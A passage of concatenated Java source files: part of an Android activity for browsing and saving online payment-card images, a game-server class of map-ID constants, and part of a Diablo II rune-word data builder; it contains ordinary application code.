= getJsonLine("[" + jsonData + "]"); int net = getJsonLine("[" + data + "]"); if (net > local) saveJsonData(OnlineCardActivity.this, data); jsonData = data; LocalBroadcastManager.getInstance(OnlineCardActivity.this).sendBroadcast(new Intent(Config.localAction_online).putExtra(SearchAction,""));//发送本地广播 if (isRef) { runOnUiThread(new Runnable() { @Override public void run() { swipeRefresh.setRefreshing(false); //下拉刷新后隐藏搜索 searchView.clearFocus(); searchView.onActionViewCollapsed(); } }); } SharedPreferences.Editor editor = pref.edit(); editor.putBoolean("ApiStatus",true); editor.apply(); } }); } }).run(); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.online_toolbar,menu); menu.add(0, 0, 0, "在线图片说明"); menu.add(0, 1, 1, "提交在线卡面"); menu.add(0, 4, 4,"添加快捷方式"); if(pref.getBoolean("showOnlineCardType",false)){ menu.add( 0, 2, 2,"在线卡面来源"); if(Build.VERSION.SDK_INT>=Build.VERSION_CODES.Q || ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED){ menu.add( 0, 3, 3, "保存在线卡面"); } } MenuItem searchItem = menu.findItem(R.id.online_menu_search); searchView = (SearchView) searchItem.getActionView(); searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @Override public boolean onQueryTextSubmit(String query) { LocalBroadcastManager.getInstance(OnlineCardActivity.this).sendBroadcast(new Intent(Config.localAction_online).putExtra(SearchAction,query)); return false; } @Override public boolean onQueryTextChange(String newText) { LocalBroadcastManager.getInstance(OnlineCardActivity.this).sendBroadcast(new Intent(Config.localAction_online).putExtra(SearchAction,newText)); return false; } }); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item){ switch (item.getItemId()) { case 0: showAbout(OnlineCardActivity.this); break; case 1: startActivity(new Intent(OnlineCardActivity.this, EmailOnlineActivity.class)); break; case 2: setOnlineCardType(); break; case 3: new AlertDialog.Builder(this) .setTitle("确定保存?") .setMessage("将在线卡面储存到"+new File(Config.fileWork(OnlineCardActivity.this).getParentFile(),"OnlineCard").getPath()+"\n(测试功能)") .setPositiveButton("保存", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { saveOnline(); } }) .setNegativeButton("取消",null) .show(); break; case 4: LauncherShortcut.addOnlineCard(this); break; default: break; } return true; } private void saveOnline(){ swipeRefresh.setRefreshing(true); Toast.makeText(this,"保存中",Toast.LENGTH_LONG).show(); new Thread(new Runnable() { @Override public void run() { for(int i = 0;i<card2List.size();i++){ String type = ".png"; String link = card2List.get(i).getLink(); String cardName = card2List.get(i).getCardName(); String userName = card2List.get(i).getUserName(); String tmp = link.substring(link.lastIndexOf("/")+1); if(tmp.contains(".")){ type = tmp.substring(tmp.lastIndexOf(".")); } final String name = cardName + " _ " +userName + type; File file = new File(Config.fileWork(OnlineCardActivity.this).getParentFile(),"OnlineCard"); if(!file.exists()){ file.mkdirs(); } File saveFile = new File(file, name); if(saveFile.exists()){ for(int j = 1;saveFile.exists();j++){ if(saveFile.getName().contains(".")){ saveFile = new File(saveFile.getPath().substring(0,saveFile.getPath().lastIndexOf("."))+"-"+j+type); } } } try { CardList.copyFile(getGlideCacheFile(OnlineCardActivity.this, link).getPath(), saveFile.getPath()); } catch (Exception e){ e.printStackTrace(); Log.d("获取失败:", "link: "+link); } } runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(OnlineCardActivity.this,"保存完成",Toast.LENGTH_LONG).show(); swipeRefresh.setRefreshing(false); } }); } }).run(); } //https://github.com/HuangShengHuan/GlideCache public static File getGlideCacheFile(Context context ,String id) { DataCacheKey dataCacheKey = new DataCacheKey(new GlideUrl(id), EmptySignature.obtain()); SafeKeyGenerator safeKeyGenerator = new SafeKeyGenerator(); String safeKey = safeKeyGenerator.getSafeKey(dataCacheKey); try { int cacheSize = 100 * 1000 * 1000; DiskLruCache diskLruCache = DiskLruCache.open(new File(context.getCacheDir(), DiskCache.Factory.DEFAULT_DISK_CACHE_DIR), 1, 1, cacheSize); DiskLruCache.Value value = diskLruCache.get(safeKey); if (value != null) { return value.getFile(0); } } catch (IOException e) { e.printStackTrace(); } return null; } int Ti = 0; @Override public boolean onKeyDown(int keyCode, KeyEvent event) { if(keyCode == KeyEvent.KEYCODE_VOLUME_UP || keyCode == KeyEvent.KEYCODE_VOLUME_DOWN){ Timer timer = null; if(Ti<2){ Ti++; timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { Ti = 0; } },6000); } else { setOnlineCardType(); if(!pref.getBoolean("showOnlineCardType",false)) { editor = pref.edit(); editor.putBoolean("showOnlineCardType", true); editor.apply(); Toast.makeText(this, "设置入口已添加到菜单\n重新打开当前页面即可看到", Toast.LENGTH_LONG).show(); } } } return super.onKeyDown(keyCode, event); } private void setOnlineCardType(){ int choose = pref.getInt("onlineCardType",0); String[] items = {"图床 默认","Github CDN"};//,"直链"}; new AlertDialog.Builder(this) .setTitle("选择在线卡面数据来源") .setSingleChoiceItems(items,choose,new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); onlineCardType = i; editor = pref.edit(); editor.putInt("onlineCardType",i); editor.putString("online_type_key", String.valueOf(i)); editor.apply(); swipeRefresh.setRefreshing(true); getOnlineCard(true); } }) .setPositiveButton("取消",null) .show(); } }
gddhy/MiPayCard
app/src/main/java/com/hy/mipaycard/online_card/OnlineCardActivity.java
65,740
package constants; import server.life.MapleMonster; import server.maps.MapleMap; import server.maps.MapleMapObject; public class MapConstants { public static boolean isBlockFM(final int mapid) { int header = mapid / 100000; if (isEventMap(mapid)) { return true; } if (header == 9800 && (mapid % 10 == 1 || mapid % 1000 == 100)) { return true; } if (mapid / 10000 == 92502) { return true; } if (header == 7090) { return true; } if (header == 1090) { return true; } return mapid == 702060000; } public static boolean isForceRespawn(int mapid) { // crocs and stuff return mapid == 925100100; } public static boolean isCar(final int mapid) { switch (mapid) { case 680000000: case 980000000: case 980030000: return true; } return false; } public static boolean isStartingEventMap(final int mapid) { switch (mapid) { case 109010000: case 109020001: case 109030001: case 109030101: case 109030201: case 109030301: case 109030401: case 109040000: case 109060001: case 109060002: case 109060003: case 109060004: case 109060005: case 109060006: case 109080000: case 109080001: case 109080002: case 109080003: return true; } return false; } public static boolean isEventMap(final int mapid) { return (mapid >= 109010000 && mapid < 109050000) || (mapid > 109050001 && mapid < 109090000) || (mapid >= 809040000 && mapid <= 809040100); } public static boolean inBossMap(int mapid) { if (mapid / 10000 == 92502) {// 武陵道场 return true; } if (mapid == 220040000) {// 时间之路 return true; } switch (mapid) { case 105100300: // 巴洛古 case 220080001: // 钟王 case 230040420: // 海怒斯 case 240060000: // 龙王前置 case 240060100: // 龙王前置 case 240060200: // 龙王 case 280030000: // 炎魔 case 551030200: // 梦幻主题公园 case 740000000: // PQ case 741020102: // 黑轮王 case 749050301: // 洽吉 case 802000211: // 日本台场BOSS case 922010900: // 时空的裂缝 case 925020200: // 武陵 case 930000600: // 剧毒森林 case 270050100: // 皮卡丘 case 702060000:// 妖僧 return true; } return false; } public static int isMonsterSpawn(MapleMap map) { // 回传生怪数量倍率 if (MapConstants.isBossMap(map.getId()) || MapConstants.isEventMap(map.getId())) { return 1; } for (MapleMapObject obj : map.getAllMonstersThreadsafe()) { // 判断地图有boss 回传倍率1 final MapleMonster mob = (MapleMonster) obj; if (mob.getStats().isBoss()) { return 1; } } switch (map.getId()) { case 220060000: case 220060100: case 220060200: case 220060300: case 220070000:// 遗忘的时间之路<1> 6230400 6230500 case 220070100:// 遗忘的时间之路<2> 8140200 8140300 case 220070200:// 遗忘的时间之路<3> 7130010 case 220070300:// 遗忘的时间之路<4> 8142000 case 270010100:// 回忆之路1 2600701 2600700 case 270010200:// 回忆之路2 2600702 2600700 case 270010300:// 回忆之路3 2600703 2600700 case 270010400:// 回忆之路4 2600704 2600703 2600700 case 270010500:// 回忆之路5 2600704 2600700 case 270020100:// 悔恨之路1 2600706 2600700 case 270020200:// 悔恨之路2 2600707 2600700 case 270020300:// 悔恨之路3 2600708 2600700 case 270020400:// 悔恨之路4 2600709 2600708 2600700 case 270020500:// 悔恨之路5 2600709 2600700 case 270030100:// 忘却之路1 2600711 2600700 case 270030200:// 忘却之路2 2600712 2600700 case 270030300:// 忘却之路3 2600713 2600700 case 270030400:// 忘却之路4 2600714 2600713 2600700 case 270030500:// 忘却之路5 2600714 case 220060201:// 弯曲的时间 case 220060301:// 纠结的时间 case 220070201:// 毁坏的时间 case 220070301:// 禁忌的时间 return 2; } return 1; } public static boolean isBossMap(int mapid) { if (mapid / 10000 == 92502) {// 武陵道场 return true; } switch (mapid) { case 105100300: // 巴洛古 case 220080001: // 钟王 case 230040420: // 海怒斯 case 240060000: // 龙王前置 case 240060100: // 龙王前置 case 240060200: // 龙王 case 270050100: // 皮卡啾 case 280030000: // 炎魔 case 551030200: // 梦幻主题公园 case 740000000: // PQ case 741020101: // 黑轮王 case 741020102: // 黑轮王 case 749050301: // 洽吉 case 802000211: // 日本台场BOSS case 802000611: // 日本台场BOSS case 922010900: // 时空的裂缝 case 925020200: // 武陵 case 930000600: // 剧毒森林 case 270030500: // 忘却 case 270010500: // 忘却 case 270020500: // 忘却 case 749040001:// 年兽 return true; } return false; } }
huangshushu/ZLHSS2
src/constants/MapConstants.java
65,744
package cains.note.data.rune; import cains.note.service.rune.*; import cains.note.view.R; public final class RuneWordData { private RuneWordData() { } public static void generate(RuneWordService srv) { /* 谜团 */ RuneWordItemBox box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_ENIGMA_1, Rsc.RES_ENIGMA_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_ENIGMA_1, Rsc.RES_ENIGMA_3, Rsc.RES_ENIGMA_4, Rsc.RES_ENIGMA_5, Rsc.RES_ENIGMA_6, Rsc.RES_ENIGMA_7)); srv.addItemBox(box); /* 无限 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_INFINITY_1, Rsc.RES_INFINITY_2, R.drawable.ber); box.items.add(new RuneWordItem(Rsc.RES_INFINITY_1, Rsc.RES_INFINITY_3, Rsc.RES_INFINITY_4, Rsc.RES_INFINITY_5, Rsc.RES_INFINITY_6, Rsc.RES_INFINITY_7)); srv.addItemBox(box); /* 悔恨 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_GRIEF_1, Rsc.RES_GRIEF_2, R.drawable.lo); box.items.add(new RuneWordItem(Rsc.RES_GRIEF_1, Rsc.RES_GRIEF_3, Rsc.RES_GRIEF_4, Rsc.RES_GRIEF_5, Rsc.RES_GRIEF_6, Rsc.RES_GRIEF_7)); srv.addItemBox(box); /* 刚毅 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_FORTITUDE_1, Rsc.RES_FORTITUDE_2, R.drawable.lo); box.items.add(new RuneWordItem(Rsc.RES_FORTITUDE_1, Rsc.RES_FORTITUDE_3, Rsc.RES_FORTITUDE_4, Rsc.RES_FORTITUDE_5, Rsc.RES_FORTITUDE_6, Rsc.RES_FORTITUDE_7)); srv.addItemBox(box); /* 精神 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_SPIRIT_1, Rsc.RES_SPIRIT_2, R.drawable.amn); box.items.add(new RuneWordItem(Rsc.RES_SPIRIT_1, Rsc.RES_SPIRIT_3, Rsc.RES_SPIRIT_4, Rsc.RES_SPIRIT_5, Rsc.RES_SPIRIT_6, Rsc.RES_SPIRIT_7)); srv.addItemBox(box); /* 战争召唤 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_CALL_TO_ARMS_1, Rsc.RES_CALL_TO_ARMS_2, R.drawable.ohm); box.items.add(new RuneWordItem(Rsc.RES_CALL_TO_ARMS_1, Rsc.RES_CALL_TO_ARMS_3, Rsc.RES_CALL_TO_ARMS_4, Rsc.RES_CALL_TO_ARMS_5, Rsc.RES_CALL_TO_ARMS_6, Rsc.RES_CALL_TO_ARMS_7)); srv.addItemBox(box); /* 死亡呼吸 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_BREATH_OF_THE_DYING_1, Rsc.RES_BREATH_OF_THE_DYING_2, R.drawable.zod); box.items.add(new RuneWordItem(Rsc.RES_BREATH_OF_THE_DYING_1, Rsc.RES_BREATH_OF_THE_DYING_3, Rsc.RES_BREATH_OF_THE_DYING_4, Rsc.RES_BREATH_OF_THE_DYING_5, Rsc.RES_BREATH_OF_THE_DYING_6, Rsc.RES_BREATH_OF_THE_DYING_7)); srv.addItemBox(box); /* 信心 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_FAITH_1, Rsc.RES_FAITH_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_FAITH_1, Rsc.RES_FAITH_3, Rsc.RES_FAITH_4, Rsc.RES_FAITH_5, Rsc.RES_FAITH_6, Rsc.RES_FAITH_7)); srv.addItemBox(box); /* 强制 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DURESS_1, Rsc.RES_DURESS_2, R.drawable.um); box.items.add(new RuneWordItem(Rsc.RES_DURESS_1, Rsc.RES_DURESS_3, Rsc.RES_DURESS_4, Rsc.RES_DURESS_5, Rsc.RES_DURESS_6, Rsc.RES_DURESS_7)); srv.addItemBox(box); /* 橡树之心 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_HEART_OF_THE_OAK_1, Rsc.RES_HEART_OF_THE_OAK_2, R.drawable.vex); box.items.add(new RuneWordItem(Rsc.RES_HEART_OF_THE_OAK_1, Rsc.RES_HEART_OF_THE_OAK_3, Rsc.RES_HEART_OF_THE_OAK_4, Rsc.RES_HEART_OF_THE_OAK_5, Rsc.RES_HEART_OF_THE_OAK_6, Rsc.RES_HEART_OF_THE_OAK_7)); srv.addItemBox(box); /* 死神 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DEATH_1, Rsc.RES_DEATH_2, R.drawable.vex); box.items.add(new RuneWordItem(Rsc.RES_DEATH_1, Rsc.RES_DEATH_3, Rsc.RES_DEATH_4, Rsc.RES_DEATH_5, Rsc.RES_DEATH_6, Rsc.RES_DEATH_7)); srv.addItemBox(box); /* 誓约 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_OATH_1, Rsc.RES_OATH_2, R.drawable.mal); box.items.add(new RuneWordItem(Rsc.RES_OATH_1, Rsc.RES_OATH_3, Rsc.RES_OATH_4, Rsc.RES_OATH_5, Rsc.RES_OATH_6, Rsc.RES_OATH_7)); srv.addItemBox(box); /* 眼光 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_INSIGHT_1, Rsc.RES_INSIGHT_2, R.drawable.sol); box.items.add(new RuneWordItem(Rsc.RES_INSIGHT_1, Rsc.RES_INSIGHT_3, Rsc.RES_INSIGHT_4, Rsc.RES_INSIGHT_5, Rsc.RES_INSIGHT_6, Rsc.RES_INSIGHT_7)); srv.addItemBox(box); /* 遵从 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_OBEDIENCE_1, Rsc.RES_OBEDIENCE_2, R.drawable.fal); box.items.add(new RuneWordItem(Rsc.RES_OBEDIENCE_1, Rsc.RES_OBEDIENCE_3, Rsc.RES_OBEDIENCE_4, Rsc.RES_OBEDIENCE_5, Rsc.RES_OBEDIENCE_6, Rsc.RES_OBEDIENCE_7)); srv.addItemBox(box); /* 荣耀之链 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_CHAINS_OF_HONOR_1, Rsc.RES_CHAINS_OF_HONOR_2, R.drawable.ber); box.items.add(new RuneWordItem(Rsc.RES_CHAINS_OF_HONOR_1, Rsc.RES_CHAINS_OF_HONOR_3, Rsc.RES_CHAINS_OF_HONOR_4, Rsc.RES_CHAINS_OF_HONOR_5, Rsc.RES_CHAINS_OF_HONOR_6, Rsc.RES_CHAINS_OF_HONOR_7)); srv.addItemBox(box); /* 背信 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_TREACHERY_1, Rsc.RES_TREACHERY_2, R.drawable.lem); box.items.add(new RuneWordItem(Rsc.RES_TREACHERY_1, Rsc.RES_TREACHERY_3, Rsc.RES_TREACHERY_4, Rsc.RES_TREACHERY_5, Rsc.RES_TREACHERY_6, Rsc.RES_TREACHERY_7)); srv.addItemBox(box); /* 边缘 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_EDGE_1, Rsc.RES_EDGE_2, R.drawable.amn); box.items.add(new RuneWordItem(Rsc.RES_EDGE_1, Rsc.RES_EDGE_3, Rsc.RES_EDGE_4, Rsc.RES_EDGE_5, Rsc.RES_EDGE_6, Rsc.RES_EDGE_7)); srv.addItemBox(box); /* 隐秘 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_STEALTH_1, Rsc.RES_STEALTH_2, R.drawable.tal); box.items.add(new RuneWordItem(Rsc.RES_STEALTH_1, Rsc.RES_STEALTH_3, Rsc.RES_STEALTH_4, Rsc.RES_STEALTH_5, Rsc.RES_STEALTH_6, Rsc.RES_STEALTH_7)); srv.addItemBox(box); /* 力量 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_STRENGTH_1, Rsc.RES_STRENGTH_2, R.drawable.amn); box.items.add(new RuneWordItem(Rsc.RES_STRENGTH_1, Rsc.RES_STRENGTH_3, Rsc.RES_STRENGTH_4, Rsc.RES_STRENGTH_5, Rsc.RES_STRENGTH_6, Rsc.RES_STRENGTH_7)); srv.addItemBox(box); /* 钢铁 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_STEEL_1, Rsc.RES_STEEL_2, R.drawable.tir); box.items.add(new RuneWordItem(Rsc.RES_STEEL_1, Rsc.RES_STEEL_3, Rsc.RES_STEEL_4, Rsc.RES_STEEL_5, Rsc.RES_STEEL_6, Rsc.RES_STEEL_7)); srv.addItemBox(box); /* 天底 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_NADIR_1, Rsc.RES_NADIR_2, R.drawable.nef); box.items.add(new RuneWordItem(Rsc.RES_NADIR_1, Rsc.RES_NADIR_3, Rsc.RES_NADIR_4, Rsc.RES_NADIR_5, Rsc.RES_NADIR_6, Rsc.RES_NADIR_7)); srv.addItemBox(box); /* 远古誓言 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_ANCIENTS_PLEDGE_1, Rsc.RES_ANCIENTS_PLEDGE_2, R.drawable.ort); box.items.add(new RuneWordItem(Rsc.RES_ANCIENTS_PLEDGE_1, Rsc.RES_ANCIENTS_PLEDGE_3, Rsc.RES_ANCIENTS_PLEDGE_4, Rsc.RES_ANCIENTS_PLEDGE_5, Rsc.RES_ANCIENTS_PLEDGE_6, Rsc.RES_ANCIENTS_PLEDGE_7)); srv.addItemBox(box); /* 和谐 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_HARMONY_1, Rsc.RES_HARMONY_2, R.drawable.ko); box.items.add(new RuneWordItem(Rsc.RES_HARMONY_1, Rsc.RES_HARMONY_3, Rsc.RES_HARMONY_4, Rsc.RES_HARMONY_5, Rsc.RES_HARMONY_6, Rsc.RES_HARMONY_7)); srv.addItemBox(box); /* 知识 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_LORE_1, Rsc.RES_LORE_2, R.drawable.sol); box.items.add(new RuneWordItem(Rsc.RES_LORE_1, Rsc.RES_LORE_3, Rsc.RES_LORE_4, Rsc.RES_LORE_5, Rsc.RES_LORE_6, Rsc.RES_LORE_7)); srv.addItemBox(box); /* 韵律 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_RHYME_1, Rsc.RES_RHYME_2, R.drawable.shael); box.items.add(new RuneWordItem(Rsc.RES_RHYME_1, Rsc.RES_RHYME_3, Rsc.RES_RHYME_4, Rsc.RES_RHYME_5, Rsc.RES_RHYME_6, Rsc.RES_RHYME_7)); srv.addItemBox(box); /* 野兽 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_BEAST_1, Rsc.RES_BEAST_2, R.drawable.ber); box.items.add(new RuneWordItem(Rsc.RES_BEAST_1, Rsc.RES_BEAST_3, Rsc.RES_BEAST_4, Rsc.RES_BEAST_5, Rsc.RES_BEAST_6, Rsc.RES_BEAST_7)); srv.addItemBox(box); /* 执法者 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_LAWBRINGER_1, Rsc.RES_LAWBRINGER_2, R.drawable.lem); box.items.add(new RuneWordItem(Rsc.RES_LAWBRINGER_1, Rsc.RES_LAWBRINGER_3, Rsc.RES_LAWBRINGER_4, Rsc.RES_LAWBRINGER_5, Rsc.RES_LAWBRINGER_6, Rsc.RES_LAWBRINGER_7)); srv.addItemBox(box); /* 石块 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_STONE_1, Rsc.RES_STONE_2, R.drawable.um); box.items.add(new RuneWordItem(Rsc.RES_STONE_1, Rsc.RES_STONE_3, Rsc.RES_STONE_4, Rsc.RES_STONE_5, Rsc.RES_STONE_6, Rsc.RES_STONE_7)); srv.addItemBox(box); /* 迪勒瑞姆 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DELIRIUM_1, Rsc.RES_DELIRIUM_2, R.drawable.ist); box.items.add(new RuneWordItem(Rsc.RES_DELIRIUM_1, Rsc.RES_DELIRIUM_3, Rsc.RES_DELIRIUM_4, Rsc.RES_DELIRIUM_5, Rsc.RES_DELIRIUM_6, Rsc.RES_DELIRIUM_7)); srv.addItemBox(box); /* 圣堂 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_SANCTUARY_1, Rsc.RES_SANCTUARY_2, R.drawable.mal); box.items.add(new RuneWordItem(Rsc.RES_SANCTUARY_1, Rsc.RES_SANCTUARY_3, Rsc.RES_SANCTUARY_4, Rsc.RES_SANCTUARY_5, Rsc.RES_SANCTUARY_6, Rsc.RES_SANCTUARY_7)); srv.addItemBox(box); /* 弑君者 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_KINGSLAYER_1, Rsc.RES_KINGSLAYER_2, R.drawable.gul); box.items.add(new RuneWordItem(Rsc.RES_KINGSLAYER_1, Rsc.RES_KINGSLAYER_3, Rsc.RES_KINGSLAYER_4, Rsc.RES_KINGSLAYER_5, Rsc.RES_KINGSLAYER_6, Rsc.RES_KINGSLAYER_7)); srv.addItemBox(box); /* 热情 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_PASSION_1, Rsc.RES_PASSION_2, R.drawable.lem); box.items.add(new RuneWordItem(Rsc.RES_PASSION_1, Rsc.RES_PASSION_3, Rsc.RES_PASSION_4, Rsc.RES_PASSION_5, Rsc.RES_PASSION_6, Rsc.RES_PASSION_7)); srv.addItemBox(box); /* 白色 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_WHITE_1, Rsc.RES_WHITE_2, R.drawable.io); box.items.add(new RuneWordItem(Rsc.RES_WHITE_1, Rsc.RES_WHITE_3, Rsc.RES_WHITE_4, Rsc.RES_WHITE_5, Rsc.RES_WHITE_6, Rsc.RES_WHITE_7)); srv.addItemBox(box); /* 新月 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_CRESCENT_MOON_1, Rsc.RES_CRESCENT_MOON_2, R.drawable.um); box.items.add(new RuneWordItem(Rsc.RES_CRESCENT_MOON_1, Rsc.RES_CRESCENT_MOON_3, Rsc.RES_CRESCENT_MOON_4, Rsc.RES_CRESCENT_MOON_5, Rsc.RES_CRESCENT_MOON_6, Rsc.RES_CRESCENT_MOON_7)); srv.addItemBox(box); /* 流亡 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_EXILE_1, Rsc.RES_EXILE_2, R.drawable.ohm); box.items.add(new RuneWordItem(Rsc.RES_EXILE_1, Rsc.RES_EXILE_3, Rsc.RES_EXILE_4, Rsc.RES_EXILE_5, Rsc.RES_EXILE_6, Rsc.RES_EXILE_7)); srv.addItemBox(box); /* 骄傲 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_PRIDE_1, Rsc.RES_PRIDE_2, R.drawable.cham); box.items.add(new RuneWordItem(Rsc.RES_PRIDE_1, Rsc.RES_PRIDE_3, Rsc.RES_PRIDE_4, Rsc.RES_PRIDE_5, Rsc.RES_PRIDE_6, Rsc.RES_PRIDE_7)); srv.addItemBox(box); /* 末日 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DOOM_1, Rsc.RES_DOOM_2, R.drawable.cham); box.items.add(new RuneWordItem(Rsc.RES_DOOM_1, Rsc.RES_DOOM_3, Rsc.RES_DOOM_4, Rsc.RES_DOOM_5, Rsc.RES_DOOM_6, Rsc.RES_DOOM_7)); srv.addItemBox(box); /* 财富 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_WEALTH_1, Rsc.RES_WEALTH_2, R.drawable.lem); box.items.add(new RuneWordItem(Rsc.RES_WEALTH_1, Rsc.RES_WEALTH_3, Rsc.RES_WEALTH_4, Rsc.RES_WEALTH_5, Rsc.RES_WEALTH_6, Rsc.RES_WEALTH_7)); srv.addItemBox(box); /* 冰冻 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_ICE_1, Rsc.RES_ICE_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_ICE_1, Rsc.RES_ICE_3, Rsc.RES_ICE_4, Rsc.RES_ICE_5, Rsc.RES_ICE_6, Rsc.RES_ICE_7)); srv.addItemBox(box); /* 凤凰 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_PHOENIX_1, Rsc.RES_PHOENIX_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_PHOENIX_1, Rsc.RES_PHOENIX_3, Rsc.RES_PHOENIX_4, Rsc.RES_PHOENIX_5, Rsc.RES_PHOENIX_6, Rsc.RES_PHOENIX_7)); srv.addItemBox(box); /* 梦境 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DREAM_1, Rsc.RES_DREAM_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_DREAM_1, Rsc.RES_DREAM_3, Rsc.RES_DREAM_4, Rsc.RES_DREAM_5, Rsc.RES_DREAM_6, Rsc.RES_DREAM_7)); srv.addItemBox(box); /* 最后希望 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_LAST_WISH_1, Rsc.RES_LAST_WISH_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_LAST_WISH_1, Rsc.RES_LAST_WISH_3, Rsc.RES_LAST_WISH_4, Rsc.RES_LAST_WISH_5, Rsc.RES_LAST_WISH_6, Rsc.RES_LAST_WISH_7)); srv.addItemBox(box); /* 混沌 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_CHAOS_1, Rsc.RES_CHAOS_2, R.drawable.ohm); box.items.add(new RuneWordItem(Rsc.RES_CHAOS_1, Rsc.RES_CHAOS_3, Rsc.RES_CHAOS_4, Rsc.RES_CHAOS_5, Rsc.RES_CHAOS_6, Rsc.RES_CHAOS_7)); srv.addItemBox(box); /* 狂暴 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_FURY_1, Rsc.RES_FURY_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_FURY_1, Rsc.RES_FURY_3, Rsc.RES_FURY_4, Rsc.RES_FURY_5, Rsc.RES_FURY_6, Rsc.RES_FURY_7)); srv.addItemBox(box); /* 怨恨 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_MALICE_1, Rsc.RES_MALICE_2, R.drawable.ith); box.items.add(new RuneWordItem(Rsc.RES_MALICE_1, Rsc.RES_MALICE_3, Rsc.RES_MALICE_4, Rsc.RES_MALICE_5, Rsc.RES_MALICE_6, Rsc.RES_MALICE_7)); srv.addItemBox(box); /* 狮心 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_LIONHEART_1, Rsc.RES_LIONHEART_2, R.drawable.fal); box.items.add(new RuneWordItem(Rsc.RES_LIONHEART_1, Rsc.RES_LIONHEART_3, Rsc.RES_LIONHEART_4, Rsc.RES_LIONHEART_5, Rsc.RES_LIONHEART_6, Rsc.RES_LIONHEART_7)); srv.addItemBox(box); /* 灿烂 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_SPLENDOR_1, Rsc.RES_SPLENDOR_2, R.drawable.lum); box.items.add(new RuneWordItem(Rsc.RES_SPLENDOR_1, Rsc.RES_SPLENDOR_3, Rsc.RES_SPLENDOR_4, Rsc.RES_SPLENDOR_5, Rsc.RES_SPLENDOR_6, Rsc.RES_SPLENDOR_7)); srv.addItemBox(box); /* 黑色 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_BLACK_1, Rsc.RES_BLACK_2, R.drawable.io); box.items.add(new RuneWordItem(Rsc.RES_BLACK_1, Rsc.RES_BLACK_3, Rsc.RES_BLACK_4, Rsc.RES_BLACK_5, Rsc.RES_BLACK_6, Rsc.RES_BLACK_7)); srv.addItemBox(box); /* 野蔷薇 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_BRAMBLE_1, Rsc.RES_BRAMBLE_2, R.drawable.sur); box.items.add(new RuneWordItem(Rsc.RES_BRAMBLE_1, Rsc.RES_BRAMBLE_3, 